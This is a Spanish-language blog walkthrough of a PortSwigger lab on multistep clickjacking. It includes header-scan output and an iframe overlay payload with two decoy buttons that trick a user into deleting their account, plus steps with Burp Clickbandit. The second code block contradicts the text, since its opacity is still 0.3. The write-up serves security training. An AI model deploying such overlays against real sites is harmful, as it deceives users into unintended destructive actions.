Entrada

Multistep clickjacking

Laboratorio de Portswigger sobre Clickjacking

Multistep clickjacking

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una funcionalidad de cuenta protegida por un token CSRF y un diálogo de confirmación para defenderse contra el Clickjacking. Para resolver este laboratorio, debemos realizar un ataque de Clickjacking que engañe al usuario para que haga click en el botón de eliminación de cuenta y en el diálogo de confirmación, utilizando las acciones señuelo "Click me first" y "Click me next". Necesitaremos usar dos elementos para este laboratorio. Podemos iniciar sesión en la cuenta utilizando las credenciales wiener:peter


Guía de clickjacking

Antes de completar este laboratorio es recomendable leerse esta guía de clickjacking https://justice-reaper.github.io/posts/Clickjacking-Guide/

Resolución

Al acceder a la web vemos esto

Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos cambiar nuestro email y que podemos eliminar la cuenta

Si pulsamos sobre Delete account nos pide una confirmación para eliminar nuestra cuenta

Si pulsamos sobre View post vemos que hay una sección de comentarios

Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck https://github.com/santoru/shcheck.git para identificar las cabeceras de seguridad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/   

======================================================
 > shcheck.py - santoru ..............................
------------------------------------------------------
 Simple tool to check security headers on a webserver 
======================================================

[*] Analyzing headers of https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy

[*] No information disclosure headers detected

[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0adf00d004447ab3839b46d000cc000b.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers

Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/

En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking

Hay veces en las que el atacante necesita que el usuario víctima realice múltiples clicks. Por ejemplo, un atacante podría querer engañar a un usuario para que compre algo en un sitio web de ventas, por lo que los artículos deben añadirse a un carrito de compras antes de realizar el pedido y posteriormente se necesitaría otro click para procesar el pago

Estas acciones pueden ser implementadas por el atacante utilizando múltiples iframes. Estos ataques requieren una precisión considerable y cuidado desde la perspectiva del atacante si se quiere que sean efectivos y sigilosos

Nos dirigimos al Exploit server y nos creamos este payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<style>
	iframe {
		position:relative;
		width:400;
		height: 550;
		opacity: 0.3;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:495;
		left:150;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:155;
	}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a77006f03f4bcd5893ea08800a90071.web-security-academy.net/my-account"></iframe>

Pulsamos sobre View exploit para comprobar que está bien centrado el texto

Una vez que hemos comprobado que está bien centrado, le cambiamos la opacidad a 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<style>
	iframe {
		position:relative;
		width:400;
		height: 550;
		opacity: 0.3;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:495;
		left:150;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:155;
	}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a77006f03f4bcd5893ea08800a90071.web-security-academy.net/my-account"></iframe>

Si pulsamos sobre View exploit así es como se vería

Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit

Pulsamos sobre Copy Clickbandit to clipboard

Nos dirigimos a Chrome, accedemos a My account, nos logueamos, abrimos la consola de desarrollador y pegamos ahí todo el código

Una vez hecho esto nos saldrá este menú

Pulsamos en Start y posteriormente hacemos click sobre Delete account

El siguiente paso es marcar la casilla Disable click actions y pulsar sobre Yes

Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente. Para ver la segunda parte necesitamos hacer click en Delete account

Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML

Pegamos el código en el Exploit server

Pulsamos sobre View exploit para ver si se ve correctamente. Una vez que hemos comprobado que funcionan ambos payloads, nos dirigimos al Exploit server y pulsamos sobre Deliver exploit to victim

Esta entrada está licenciada bajo CC BY 4.0 por el autor.